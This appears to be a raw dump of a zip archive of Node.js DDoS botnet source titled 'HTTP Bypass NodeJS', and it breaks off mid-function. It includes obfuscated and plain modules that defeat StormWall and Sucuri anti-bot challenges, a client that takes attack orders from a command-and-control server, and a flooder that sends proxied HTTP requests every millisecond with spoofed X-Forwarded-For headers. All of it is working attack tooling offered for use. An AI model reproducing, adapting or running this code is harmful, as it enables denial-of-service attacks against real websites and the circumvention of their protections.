            while (--_0x4f70f6) {
                _0x502b53['push'](_0x502b53['shift']());
            }
        };
        _0xe3cb5a(++_0x2696a0);
    }(_0xda3f, 0xec));
    var _0xfda3 = function (_0x3854ba, _0x105aa1) {
        _0x3854ba = _0x3854ba - 0x0;
        var _0x36d4c9 = _0xda3f[_0x3854ba];
        return _0x36d4c9;
    };
    (function e(_0x33f0ce, _0x4e1686, _0x58a80c) {
        function _0x23a0c0(_0x4bc934, _0x149a56) {
            if (!_0x4e1686[_0x4bc934]) {
                if (!_0x33f0ce[_0x4bc934]) {
                    var _0x37652d = typeof require == 'function' && require;
                    if (!_0x149a56 && _0x37652d) return _0x37652d(_0x4bc934, !0x0);
                    if (_0x7bb490) return _0x7bb490(_0x4bc934, !0x0);
                    var _0x36dc71 = new Error(_0xfda3('0x0') + _0x4bc934 + '\x27');
                    throw _0x36dc71['code'] = _0xfda3('0x1'), _0x36dc71;
                }
                var _0x43a010 = _0x4e1686[_0x4bc934] = {
                    'exports': {}
                };
                _0x33f0ce[_0x4bc934][0x0]['call'](_0x43a010['exports'], function (_0x316792) {
                    var _0x4e1686 = _0x33f0ce[_0x4bc934][0x1][_0x316792];
                    return _0x23a0c0(_0x4e1686 ? _0x4e1686 : _0x316792);
                }, _0x43a010, _0x43a010[_0xfda3('0x2')], e, _0x33f0ce, _0x4e1686, _0x58a80c);
            }
            return _0x4e1686[_0x4bc934][_0xfda3('0x2')];
        }
        var _0x7bb490 = typeof require == _0xfda3('0x3') && require;
        for (var _0x46655c = 0x0; _0x46655c < _0x58a80c[_0xfda3('0x4')]; _0x46655c++) _0x23a0c0(_0x58a80c[_0x46655c]);
        return _0x23a0c0;
    }({
        1: [function (_0xdc5b45, _0x14d549, _0x102643) {
            let _0x4713ba = {
                'a': window['callPhantom'],
                'b': window[_0xfda3('0x5')],
                'c': window[_0xfda3('0x6')],
                'd': window[_0xfda3('0x7')],
                'e': window[_0xfda3('0x8')],
                'f': window[_0xfda3('0x9')],
                'g': window['webdriver'],
                'h': window[_0xfda3('0xa')],
                'i': window['navigator'][_0xfda3('0xb')],
                'j': window[_0xfda3('0xc')],
                'k': window['navigator']['selenium']
            };

            function _0x587e9b() {
                for (let _0x227d72 in _0x4713ba) {
                    if (_0x4713ba[_0x227d72]) {
                        return !![];
                    }
                }
                return ![];
            }
            _0x14d549[_0xfda3('0x2')] = _0x587e9b;
        }, {}],
        2: [function (_0x5ea793, _0x57a229, _0x533365) {
            let _0x80ea80 = _0x5ea793(_0xfda3('0xd'));
            let _0x249dc6 = _0xfda3('0xe');
            let _0x34900d = [];
            let _0x40d702 = {};

            function _0x2aadcb(_0x93c8ef) {
                for (let _0x4680bf = 0x0; _0x4680bf < _0x93c8ef[_0xfda3('0x4')]; _0x4680bf++) {
                    _0x34900d[_0x4680bf] = _0x93c8ef[_0x4680bf];
                    _0x40d702[_0x93c8ef[_0x4680bf]] = _0x4680bf;
                }
            }

            function _0x54a7c6(_0x15ddb9, _0x1bbdda) {
                let _0x12d568 = _0x34900d[_0xfda3('0x4')] - 0x1;
                let _0x59a887 = '';
                for (let _0x42faad = 0x0; _0x42faad < _0x1bbdda[_0xfda3('0x4')]; _0x42faad++) {
                    let _0x2ee74c = _0x1bbdda[_0x42faad];
                    if (typeof _0x40d702[_0x2ee74c] == 'undefined') {
                        _0x59a887 = _0x59a887 + _0x2ee74c;
                    } else {
                        let _0x5ad52a = _0x40d702[_0x2ee74c] + _0x15ddb9;
                        if (_0x5ad52a > _0x12d568) {
                            _0x5ad52a = _0x5ad52a - _0x12d568 - 0x1;
                        } else if (_0x5ad52a < 0x0) {
                            _0x5ad52a = _0x12d568 + _0x5ad52a + 0x1;
                        }
                        _0x59a887 = _0x59a887 + _0x34900d[_0x5ad52a];
                    }
                }
                return _0x59a887;
            }

            function _0xa0449d(_0x38d428, _0x4ea9f5) {
                let _0x545320 = _0x34900d[_0xfda3('0x4')] - 0x1;
                let _0xef2535 = _0x38d428;
                let _0x1e15a8 = '';
                for (let _0x2c0ae9 = 0x0; _0x2c0ae9 < _0x4ea9f5[_0xfda3('0x4')]; _0x2c0ae9++) {
                    let _0x2b84b7 = '' + _0x4ea9f5[_0x2c0ae9];
                    _0x1e15a8 = _0x1e15a8 + _0x54a7c6(_0xef2535, _0x2b84b7);
                    _0xef2535 = _0xef2535 + 0x1;
                    if (_0xef2535 > _0x545320) {
                        _0xef2535 = 0x0;
                    }
                }
                return _0x1e15a8;
            }

            function _0x2677f6(_0xc6fb9a, _0x16eaa6) {
                let _0x5499f5 = _0x34900d[_0xfda3('0x4')] - 0x1;
                let _0x2d5b44 = _0xc6fb9a;
                let _0x2e8bf8 = '';
                if (_0x80ea80()) {
                    _0x2e8bf8 += Date['new']()[_0xfda3('0xf')]();
                    res += ':';
                }
                for (let _0x39e246 = 0x0; _0x39e246 < _0x16eaa6[_0xfda3('0x4')]; _0x39e246++) {
                    let _0x38946d = '' + _0x16eaa6[_0x39e246];
                    _0x2e8bf8 = _0x2e8bf8 + _0x54a7c6(_0x2d5b44 * -0x1, _0x38946d);
                    _0x2d5b44 = _0x2d5b44 + 0x1;
                    if (_0x2d5b44 > _0x5499f5) {
                        _0x2d5b44 = 0x0;
                    }
                }
                return _0x2e8bf8;
            }

            let _0x474992 = 0x0;
            if (typeof googleAnal != _0xfda3('0x14') || typeof yaMetrika != _0xfda3('0x14')) _0x474992 = 0x3e8;
            _0x2aadcb(_0x249dc6);
            BYPASSIT = function (defines) {
                return eval(defines + '; document.cookie = cN + \'=\' + _0x2677f6(cK, cE)');
            }
        }, {
            './adv': 0x1
        }]
    }, {}, [0x2]));

    function Bypasser(body) {
        return new Promise((resolve, reject) => {
            resolve(BYPASSIT(body.split('<script>')[2].split('</script>')[0])); // Wallah return the bypass cookie;
        });
    }

    return function bypass(proxy, uagent, callback) {
        request({
            method: "GET",
            url: l7.target,
            gzip: true,
            proxy: proxy,
            followAllRedirects: true,
            headers: {
                'Connection': 'keep-alive',
                'Cache-Control': 'max-age=0',
                'Upgrade-Insecure-Requests': 1,
                'User-Agent': uagent,
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                'Accept-Encoding': 'gzip, deflate, br',
                'Accept-Language': 'en-US,en;q=0.9'
            }
        }, (err, res, body) => {
            if (err || !res || !body || body.indexOf('const cN = ') == -1) {
                if (body && body.indexOf('Your browser cannot be verified automatically, please confirm you are not a robot.') !== -1) {
                    return logger('[stormwall] Captcha received, IP reputation died.');
                }
                return false;
            }
            Bypasser(body).then(cookie => {
                request({
                    method: "GET",
                    url: l7.target,
                    gzip: true,
                    proxy: proxy,
                    followAllRedirects: true,
                    headers: {
                        'Connection': 'keep-alive',
                        'Cache-Control': 'max-age=0',
                        'Upgrade-Insecure-Requests': 1,
                        'User-Agent': uagent,
                        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                        'Accept-Encoding': 'gzip, deflate, br',
                        'Accept-Language': 'en-US,en;q=0.5',
                        "Cookie": cookie
                    }
                }, (err, res, body) => {
                    if (err || !res) {
                        return false;
                    }
                    //console.log(cookie, body);
                    callback(cookie);
                })
            });
        });
    }
}PK
J�O՛�'��%HTTP Bypass NodeJS/bypasses/sucuri.jsmodule.exports = function Sucuri() {
    const request = require('request'),
        vm = require('vm'),
        CHALLENGE_REGEXP = /<script>([^]+?)<\/script>/,
        COOKIE_REGEXP = /(sucuri_cloudproxy_uuid_[0-9a-f]{9})=([0-9a-f]{32});?/,
        cloudscraper = require('cloudscraper').defaults({
            agentOptions: {
                ciphers: 'ECDHE-ECDSA-AES128-GCM-SHA256'
            }
        });

    function createEnvironment(cookieCallback) {
        var document = {};
        Object.defineProperty(document, 'cookie', {
            set: value => cookieCallback(value)
        });

        var location = {
            reload: () => {}
        };

        var environment = {
            location,
            document
        }

        return environment;
    }

    function parseCookie(cookie) {
        return new Promise((resolve, reject) => {
            var match = cookie.match(COOKIE_REGEXP);
            if (match === null) {
                reject('[sucuri]: cannot parse cookie')
            } else {
                //match[1]; // Cookie name
                //match[2]; // Cookie value
                resolve(match[1] + '=' + match[2]);
            }
        });
    }

    function solve(challenge) {
        return new Promise((resolve, reject) => {
            var environment = createEnvironment(cookie => {
                resolve(parseCookie(cookie));
            });

            try {
                vm.runInNewContext(challenge, environment, {
                    timeout: 1e3
                });
                reject('[sucuri]: Timed out while getting cookie.');
            } catch (e) {
                reject(e.message);
            }
        });
    }

    function Bypasser(body) {
        return new Promise((resolve, reject) => {
            var match = body.match(CHALLENGE_REGEXP);
            if (match === null) {
                reject('[sucuri]: cannot find Sucuri challenge')
            } else {
                var challenge = match[1];
                resolve(solve(challenge));
            }
        });
    }

    return function bypass(proxy, uagent, callback) {
        request.get({
            url: l7.target,
            gzip: true,
            proxy: proxy,
            followAllRedirects: true,
            headers: {
                'Connection': 'keep-alive',
                'Cache-Control': 'max-age=0',
                'Upgrade-Insecure-Requests': 1,
                'User-Agent': uagent,
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                'Accept-Encoding': 'gzip, deflate, br',
                'Accept-Language': 'en-US,en;q=0.9'
            }
        }, (err, res, body) => {
            if (err || !res || !body) {
                return false;
            }
            Bypasser(body).then(cookie => {
                cloudscraper({
                    method: l7.opt.method,
                    url: l7.target,
                    gzip: true,
                    proxy: proxy,
                    followAllRedirects: true,
                    headers: {
                        'Connection': 'keep-alive',
                        'Cache-Control': 'max-age=0',
                        'Upgrade-Insecure-Requests': 1,
                        'User-Agent': uagent,
                        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                        'Accept-Encoding': 'gzip, deflate, br',
                        'Accept-Language': 'en-US,en;q=0.5',
                        "Cookie": cookie
                    }
                }, (err, res, body) => {
                    if (err) {
                        return false;
                    }
                    console.log(cookie);
                    callback(cookie);
                })
            });
        });
    }
}PK
K�O0���(�(HTTP Bypass NodeJS/client.jsconst net = require('net'),
    events = require('events'),
    {
        Worker
    } = require('worker_threads'),
    fs = require('fs');
process.setMaxListeners(0);
events.EventEmitter.defaultMaxListeners = Infinity;
events.EventEmitter.prototype._maxListeners = Infinity;
var log = console.log;
global.logger = function () {
    var first_parameter = arguments[0];
    var other_parameters = Array.prototype.slice.call(arguments, 1);

    function formatConsoleDate(date) {
        var hour = date.getHours();
        var minutes = date.getMinutes();
        var seconds = date.getSeconds();
        var milliseconds = date.getMilliseconds();

        return '[' +
            ((hour < 10) ? '0' + hour : hour) +
            ':' +
            ((minutes < 10) ? '0' + minutes : minutes) +
            ':' +
            ((seconds < 10) ? '0' + seconds : seconds) +
            '.' +
            ('00' + milliseconds).slice(-3) +
            '] ';
    }

    log.apply(console, [formatConsoleDate(new Date()) + first_parameter].concat(other_parameters));
};

//Encryption : // TO PREVENT SPYERS :eyes: 

let SETTINGS = {
    proxies: [],
    browsers: {},
    privacypass: [],
    userAgents: []
}

// FUNCTIONS

function isJSON(str) {
    try {
        return JSON.parse(str);
    } catch (e) {
        return false;
    }
}

// CONNECTION TO CNC SERVER:

// Global error handling (Ignoring system for helpless error logs)

let ignoreNames = ['RequestError', 'StatusCodeError', 'CaptchaError', 'CloudflareError', 'ParseError'],
    ignoreCodes = ['ECONNRESET', 'ERR_ASSERTION', 'ECONNREFUSED', 'EPIPE', 'EHOSTUNREACH', 'ETIMEDOUT', 'ESOCKETTIMEDOUT'];

process.on('uncaughtException', function (e) {
    if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
    console.warn(e);
}).on('unhandledRejection', function (e) {
    if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
    console.warn(e);
}).on('warning', e => {
    if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
    console.warn(e);
});

global.device = {
    clientSocket: false,
    ip: CNC || 'localhost',
    port: 443
}

device.receiving = '';
device.send = function (obJ) {
    device.clientSocket.write(JSON.stringify(obJ));
}

device.connected = function () {
    device.send({
        op: 'yo'
    });
}

global.stop_all = () => {
    device.attacks.forEach(anatk => {
        if (anatk.proc) {
            anatk.proc.terminate();
        } else {
            logger('No process found. (306)');
        }
    });
    device.attacks = [];
}

device.inputReceived = function (data) {
    process.nextTick(() => {
        var ajson = isJSON(data);
        if (ajson == false) {
            device.receiving += data;
            ajson = isJSON(device.receiving);
            if (ajson == false) {
                //logger("[CONNECTION] Big buffer, memoring data: ", data.length);
                return false;
            } else {
                //logger("[CONNECTION] Successfully read memored data: " + device.receiving.length);
                device.receiving = '';
                device.execute(ajson);
            }
        } else {
            //logger("[CONNECTION] Successfully read data: " + data.length);
            device.execute(ajson);
        }
    })
}

device.resolve = function (cb) {
    if (!device.host) {
        return cb(); //Just use the IP bruh;
    }
    dns.lookup(device.host, (err, address, family) => {
        if (err) {
            logger('[resolver] error in resolving host: ', err);
            return false;
        }
        logger('[resolver] address: %j family: IPv%s', address, family);
        device.ip = address;
        device.syn = Date.now();
        if (cb) cb();
    });
}

function loadPrivacypass() {
    SETTINGS.privacypass = JSON.parse(fs.readFileSync('./privacypass.json', 'utf-8'));
}

if (fs.existsSync('./privacypass.json')) {
    loadPrivacypass();
}

device.reconnect = function () {
    if (device.clientSocket.destroyed || !device.clientSocket || Date.now() - device.ack >= 350000) {
        if (device.clientSocket.connecting) {
            return false; //Already trying to connect
        }
    } else {
        return false; //Already connected;
    }
    logger('[baby] device is reconnecting...');
    stop_all();
    device.clientSocket.end();
    device.receiving = '';
    device.openConnection();
}

device.openConnection = function () {
    var timer;
    if (device.clientSocket.destroyed || !device.clientSocket || Date.now() - device.ack >= 350000) {
        if (Date.now() - device.syn >= 500000) device.resolve();
    } else {
        return false; //Already connected;
    }
    try {
        logger("[INFO] connecting...");
        if (device.ip.length < 1) return false;
        device.clientSocket = net.createConnection(device.port, device.ip);
        device.clientSocket.on('connect', function () {
                device.ack = Date.now();
                logger("[CONNECTION] Successfully connected!");
                device.connected();
            })
            .on('ready', function () {
                device.receiving = '';
                if (!device.ping) {
                    device.ping = setInterval(() => {
                        if (!device.clientSocket.destroyed || Date.now() - device.ack <= 400000) {
                            device.clientSocket.write("\x01");
                        }
                    }, 30e3);
                }
            })
            .on('data', function (data) {
                //logger("[CONNECTION] Received data: ", data.byteLength);
                device.ack = Date.now();
                device.inputReceived(data.toString());
            })
            .on('error', function (err) {
                device.ack = 0;
                if (err.code == "ENOTFOUND") {
                    logger("[ERROR] No device found at this address!");
                } else if (err.code == "ECONNREFUSED") {
                    logger("[ERROR] Connection refused! Please check the IP.");
                } else if (err.code == "ETIMEDOUT") {
                    logger("[ERROR] Connection timed out! Reconnecting.");
                    device.clientSocket.end();
                } else {
                    logger("[CONNECTION] Unexpected error! " + err.message);
                }
                setImmediate(stop_all);
            })
            .on('close', function () {
                logger("[CONNECTION] closed, Reconnecting!");
                setTimeout(device.reconnect, 7e3);
            });
    } catch (err) {
        logger("[CONNECTION] connection failed! " + err);
        setTimeout(device.reconnect, 15e3);
        setImmediate(stop_all);
    }
};

device.attacks = [];

device.execute = function (bruh) {
    switch (bruh.op) {
        case 'update':
            Object.keys(bruh).forEach(akey => {
                SETTINGS[akey] = bruh[akey];
                logger(akey, SETTINGS[akey].length);
            })
            logger('Received settings, Settings size:', JSON.stringify(SETTINGS).length);
            break;
        case 'set':
            Object.keys(bruh).forEach(akey => {
                if (akey == 'privacypass') {
                    if (SETTINGS.privacypass.length < 5) {
                        fs.writeFileSync('./privacypass.json', JSON.stringify(bruh[akey]));
                    } else {
                        return;
                    }
                }
                SETTINGS[akey] = bruh[akey];
                logger('[set]', akey, SETTINGS[akey].length);
            })
            break;
        case 'duplicate':
            logger('[client] duplicate received, closing.');
            process.updating = true;
            handleClose();
            setTimeout(() => { process.exit(5);}, 150);
            break;
        case 'l7':
            let newATKobj = {
                target: bruh.target, // URL of TARGET (l7)
                duration: bruh.duration // Duration in manner of milliseconds.
            }
            newATKobj.proc = new Worker('./flood.js', {
                workerData: {
                    target: bruh.target,
                    proxies: SETTINGS.proxies,
                    userAgents: SETTINGS.userAgents,
                    referers: SETTINGS.referers,
                    duration: bruh.duration,
                    opt: bruh.opt || false,
                    mode: bruh.mode || 'proxy'
                },
                resourceLimits: {
                    maxOldGenerationSizeMb: Infinity,
                    maxYoungGenerationSizeMb: Infinity,
                    codeRangeSizeMb: Infinity
                }
            }).on('exit', code => {
                if (code) {
                    switch (code) {
                        case '8':
                            //Target with too big body, blacklist the target.

                            break;
                    }
                }
            }).setMaxListeners(0);
            setTimeout(() => {
                device.stop_target(bruh.target);
            }, bruh.duration + 10e3);
            device.attacks.push(newATKobj);
            break;
        case 'stop':
            logger('Stopping', bruh);
            device.stop_target(bruh.target, 1);
            break;
        case 'stop_all':
            process.nextTick(stop_all);
            break;
    }
}

device.stop_target = (dtarg, howMany) => {
    var done = 0;
    device.attacks.forEach(anatk => {
        if (done >= howMany) return;
        if (anatk.target == dtarg) {
            if (anatk.proc) {
                anatk.proc.terminate();
            } else {
                logger('No process found. (289)');
            }
            device.attacks.splice(device.attacks.indexOf(anatk), 1);
            done++;
        }
    });
}

//After all has been initialized, Establish connection to CNC server.

device.openConnection();

setInterval(() => {
    loadPrivacypass();
}, 400e3);

exports = {
    bruh: () => {
        return 'BRUHHHHHHHHHH';
    }
}PK
K�O`�+(d(dHTTP Bypass NodeJS/flood.js// Global error handling (Ignoring system for helpless error logs)
const request = require('request'),
    cloudscraper = require('cloudscraper'),
    net = require('net'),
    URL = require('url'),
    requestJar = request.jar(),
    reqCookie = request.defaults({
        jar: requestJar
    }),
    reqBypass = cloudscraper.defaults({
        jar: requestJar
    }),
    randomWords = require('./random-words'),
    bypasses = require('./bypasses/'),
    {
        workerData
    } = require('worker_threads'),
    events = require('events'),
    ignoreNames = ['RequestError', 'StatusCodeError', 'CaptchaError', 'CloudflareError', 'ParseError', 'ParserError'],
    ignoreCodes = ['ECONNRESET', 'ERR_ASSERTION', 'ECONNREFUSED', 'EPIPE', 'EHOSTUNREACH', 'ETIMEDOUT', 'ESOCKETTIMEDOUT', 'EPROTO'];

process.on('uncaughtException', function (e) {
    if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
    console.warn(e);
}).on('unhandledRejection', function (e) {
    if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
    console.warn(e);
}).on('warning', e => {
    if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
    console.warn(e);
}).setMaxListeners(0);

events.EventEmitter.defaultMaxListeners = Infinity;
events.EventEmitter.prototype._maxListeners = Infinity;
// Logging:

global.logger = function () {
    var first_parameter = arguments[0];
    var other_parameters = Array.prototype.slice.call(arguments, 1);

    function formatConsoleDate(date) {
        var hour = date.getHours();
        var minutes = date.getMinutes();
        var seconds = date.getSeconds();
        var milliseconds = date.getMilliseconds();

        return '[' +
            ((hour < 10) ? '0' + hour : hour) +
            ':' +
            ((minutes < 10) ? '0' + minutes : minutes) +
            ':' +
            ((seconds < 10) ? '0' + seconds : seconds) +
            '.' +
            ('00' + milliseconds).slice(-3) +
            '] ';
    }

    console.log.apply(console, [formatConsoleDate(new Date()) + first_parameter].concat(other_parameters));
};

function INIT() {
    logger('ATTACK STARTING :: ', workerData.target, {
        proxies: workerData.proxies.length,
        opt: workerData.opt
    });

    // STATE:

    const STATE = {
        running: false,
        protection: false,
        expire: 0,
        last: {},
        firewall: false,
        firewalls: [],
        available: ['ddosguard', 'cloudflare', 'blazingfast', 'sucuri', 'stormwall', 'ovh', 'pipeguard']
    }

    const PROPS = []; // All of the settings combined;
    global.l7 = {};
    l7.target = workerData.target;
    l7.parsed = URL.parse(workerData.target);
    l7.mode = workerData.mode;
    if (workerData.opt) {
        l7.opt = workerData.opt;
    } else {
        l7.opt = {
            method: "GET", // HTTP METHOD
            body: false // DEFAULT REQUQEST'S BODY = NO BODY;
        }
    }

    var ATTACK, LOADER, BYPASS = false;

    function initMode() {
        switch (l7.mode) {
            case 'proxy':
                LOADER = flooder.init_proxy;
                ATTACK = flooder.proxy;
                break;
            case 'request':
                LOADER = flooder.init_request;
                ATTACK = flooder.request;
                break;
            case 'websocket':
                LOADER = flooder.init_ws;
                ATTACK = flooder.ws;
                break;
            case 'raw':
                ATTACK();
                l7.raw = true;
                break;
        }
    }

    if (l7.mode == 'raw') {
        ATTACK = function () {
            let dua = flooder.randomUA;
            STATE.running = true; // From now and so, script considered running;
            STATE.expire = Date.now() + workerData.duration;

            setTimeout(() => {
                logger('Attack finished');
                process.exit(4);
            }, STATE.expire - Date.now());
            logger('Starting proxyless :: ', l7.target);
            setInterval(async () => {
                reqCookie({
                    method: l7.opt.method,
                    url: l7.target,
                    headers: {
                        'Cache-Control': 'max-age=0',
                        'Upgrade-Insecure-Requests': 1,
                        'User-Agent': dua,
                        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8',
                        'Accept-Encoding': 'gzip, deflate, br',
                        'Accept-Language': 'en-US,en;q=0.9'
                    }
                });
            }, 1);
        }
        initMode();
    }

    class Bypass {
        constructor(config) {
            initMode();
            logger('Bypass instance was made :: ', l7.firewall);
            /*if (!l7.firewall) { // If there's no firewall; set it to be true (to "fake" firewall and use universal;)
                l7.firewall = true;
            }*/
            if (l7.firewall) {
                if (STATE.available.includes(l7.firewall[0])) {
                    BYPASS = this.load(l7.firewall[0]);
                } else {
                    BYPASS = this.load('browser_engine');
                }

                if (l7.firewall[1] == false && !BYPASS) {
                    workerData.proxies.forEach(async p => {
                        let dobj = {
                            proxy: 'http://' + p,
                            userAgent: flooder.randomUA
                        };

                        await cloudscraper({
                            url: l7.target,
                            method: "GET",
                            proxy: dobj.proxy,
                            jar: true,
                            followAllRedirects: true,
                            maxRedirects: 20,
                            headers: {
                                'User-Agent': dobj.userAgent
                            }
                        }, async (err, res) => {
                            if (err) return false;
                            if (res.request.headers.cookie) {
                                dobj.cookie = res.request.headers.cookie;
                            }
                            await LOADER(dobj);
                        });
                    })
                    return;
                }

                workerData.proxies.forEach(p => {
                    let dobj = {
                        userAgent: flooder.randomUA,
                        proxy: 'http://' + p
                    }
                    BYPASS(dobj.proxy, dobj.userAgent, async cookie => {
                        dobj.cookie = cookie;
                        await LOADER(dobj);
                    });
                });
            } else {
                workerData.proxies.forEach(p => {
                    let dobj = {
                        proxy: 'http://' + p,
                        userAgent: flooder.randomUA,
                        cookie: false
                    };
                    reqBypass({
                        method: "GET",
                        url: l7.target,
                        proxy: dobj.proxy,
                        headers: {
                            'Cache-Control': 'max-age=0',
                            'Upgrade-Insecure-Requests': 1,
                            'User-Agent': dobj.userAgent,
                            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8',
                            'Accept-Encoding': 'gzip, deflate, br',
                            'Accept-Language': 'en-US,en;q=0.9'
                        }
                    }, async (err, res, body) => {
                        if (err) return false;
                        if (res.request.headers.cookie) {
                            dobj.cookie = res.request.headers.cookie;
                        }
                        await LOADER(dobj);
                    });
                });

            }
        }

        load(bypassModule) {
            return bypasses[bypassModule]();
        }
    }

    function coinFlip() {
        return (Math.floor(Math.random() * 2) == 0);
    }

    randomByte = function () {
        return Math.round(Math.random() * 256);
    }

    randomIp = function () {
        var ip = randomByte() + '.' +
            randomByte() + '.' +
            randomByte() + '.' +
            randomByte();
        if (isPrivate(ip)) return randomIp();
        return ip;
    }

    isPrivate = function (ip) {
        return /^10\.|^192\.168\.|^172\.16\.|^172\.17\.|^172\.18\.|^172\.19\.|^172\.20\.|^172\.21\.|^172\.22\.|^172\.23\.|^172\.24\.|^172\.25\.|^172\.26\.|^172\.27\.|^172\.28\.|^172\.29\.|^172\.30\.|^172\.31\./.test(ip);
    }


    privateIps = [
        '10.0.0.0',
        '10.255.255.255',
        '172.16.0.0',
        '172.31.255.255',
        '192.168.0.0',
        '192.168.255.255'
    ];

    publicIps = [
        '0.0.0.0',
        '255.255.255.255',
    ];

    class Flood {
        cosntructor(config) {

        }

        get randomReferer() {
            return workerData.referers[~~(Math.random() * workerData.referers.length)]
        }

        get randomProxy() {
            return 'http://' + workerData.proxies[~~(Math.random() * workerData.proxies.length)]
        }

        get randomUA() {
            return workerData.userAgents[~~(Math.random() * workerData.userAgents.length)]
        }

        get randomSpoof() {
            return `${randomIp()}, ${randomIp()}`;
        }

        init(e) {
            if (l7.target.indexOf("%RAND%") !== -1) {
                e.target = l7.target.replace(/%RAND%/g, randomWords());
            }
            if (l7.opt.body && l7.opt.body.indexOf("%RAND%") !== -1) {
                e.body = l7.opt.body.replace(/%RAND%/g, randomWords());
            }
            if (l7.opt.cookie) {
                l7.opt.cookie = l7.opt.cookie.replace(/%RAND%/g, randomWords());
                if (e.cookie && e.cookie.length >= 4) {
                    e.cookie += '; ' + l7.opt.cookie
                } else {
                    e.cookie = l7.opt.cookie
                };
            }
            return e;
        }

        init_proxy(c) {
            c = flooder.init(c);
            c.proxy = c.proxy.split('://')[1].split(':');
            ATTACK(c);
        }

        init_request(d) {
            d = flooder.init(d);
            d.url = d.target || l7.target;
            delete d.target;
            d.method = l7.opt.method;
            d.timeout = 10e3;
            d.insecure = true;
            d.headers = {
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*;q=0.8',
                'Accept-Encoding': 'gzip, deflate, br',
                'Accept-Language': 'en-US,en;q=0.9,he-IL;q=0.8,he;q=0.7,tr;q=0.6',
                'Cache-Control': 'max-age=0',
                'Pragma': 'no-cache',
                'Referer': (coinFlip() ? flooder.randomReferer : d.url),
                'Upgrade-Insecure-Requests': 1,
                'User-Agent': d.userAgent,
                'X-Forwarded-For': flooder.randomSpoof
            }
            if (d.cookie) {
                d.headers['Cookie'] = d.cookie;
            }
            if (l7.opt.headers) {
                Object.keys(l7.opt.headers).forEach(aHeader => {
                    d.headers[aHeader] = l7.opt.headers[aHeader];
                });
            }
            d.proxy = d.proxy;
            PROPS.push(d);
        }

        proxy(a) {
            let stop = Date.now() + 140e3,
                req = () => {
                    if (Date.now() >= stop) {
                        if (netSock.readable && !netSock.destroyed) {
                            resetted ? false : ATTACK(a), resetted = true, netSock.end();
                            netSock.end();
                        }
                        return netSock.destroy();
                    }
                    (netSock.writable && !netSock.destroyed) ? netSock.write(`${l7.opt.method} ${a.target || l7.target} HTTP/1.1\r\nHost: ${l7.parsed.host}\r\nConnection: Keep-Alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate, br${a.cookie ? ('\r\nCookie: ' + a.cookie) : ''}\r\nX-Forwarded-For: ${flooder.randomSpoof}\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nUser-Agent: ${a.userAgent}\r\n\r\n${a.body || l7.opt.body || ""}`): netSock.end();
                }
            var resetted = false,
                netSock = {};

            process.nextTick(async () => {
                netSock = net.connect({
                    host: a.proxy[0],
                    port: a.proxy[1]
                }, async () => {
                    for (let j = 0; j < a.proxy[0].length * 10; j++) {
                        await req();
                    }
                    netSock.on('data', async () => {
                        resetted ? false : ATTACK(a), resetted = true;
                        netSock ? (await req()) : false;
                    });
                }).once('disconnect', () => {
                    resetted ? netSocket.end() : ATTACK(a), resetted = true;
                    return;
                });
            });
        }

        request(b) {
            reqCookie(b);
        }
    }

    // Initialize the flooding system: ( After bypass received cookies, start attacking ~ )

    let flooder = new Flood({
        threads: 1
    });

    class starter {
        init() {
            // Setup flooding interval;
            function randomReq() {
                reqCookie(PROPS[~~(Math.random() * PROPS.length)]);
            }
            if (l7.opt.ratelimit) {
                let aprop = 0;
                setInterval(async () => {
                    reqCookie(PROPS[aprop]);
                    aprop++;
                    if (aprop >= PROPS.length) aprop = 0;
                }, 30); // 30ms fight rate limits. Loop through each proxy, more proxies less traffic per ip.
            } else {
                setInterval(randomReq, 1); // 1ms
            }
        }
    }

    let Starter = new starter();

    // Initialize Auto protection detection:

    class AutoDetect {
        constructor(cb) {
            logger("New instance of auto detector was made;", l7.target);
            this.cback = cb;
        }

        detect() {
            function detectplz() {
                if (STATE.running) return false;
                let dproxy = flooder.randomProxy,
                    dUA = flooder.randomUA;
                request({
                    method: "GET",
                    url: l7.target,
                    gzip: true,
                    followAllRedirects: true,
                    maxRedirects: 20,
                    agentOptions: {
                        ciphers: 'ECDHE-ECDSA-AES128-GCM-SHA256'
                    },
                    timeout: 80e3,
                    proxy: dproxy,
                    headers: {
                        'Connection': 'keep-alive',
                        'Cache-Control': 'no-cache',
                        'Pragma': 'no-cache',
                        'Upgrade-Insecure-Requests': 1,
                        'User-Agent': flooder.randomUA,
                        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
                        'Accept-Encoding': 'gzip, deflate, br',
                        'Accept-Language': 'en-US,en;q=0.9'
                    }
                }, (err, res, body) => {
                    if (STATE.running) return false;
                    if (err || !res || !body || res.headers['proxy-connection'] || body.indexOf('Maximum number of open connections reached') !== -1 || body.indexOf('<title>ERROR: The requested URL could not be retrieved</title>') !== -1 || body.indexOf('<title>This is a SOCKS Proxy, Not An HTTP Proxy</title>') !== -1 || body.indexOf('<title>Tor is not an HTTP Proxy</title>') !== -1) {
                        return; // Proxy failed, or an error occured, retry.
                    }

                    if (res.headers['content-length']) {
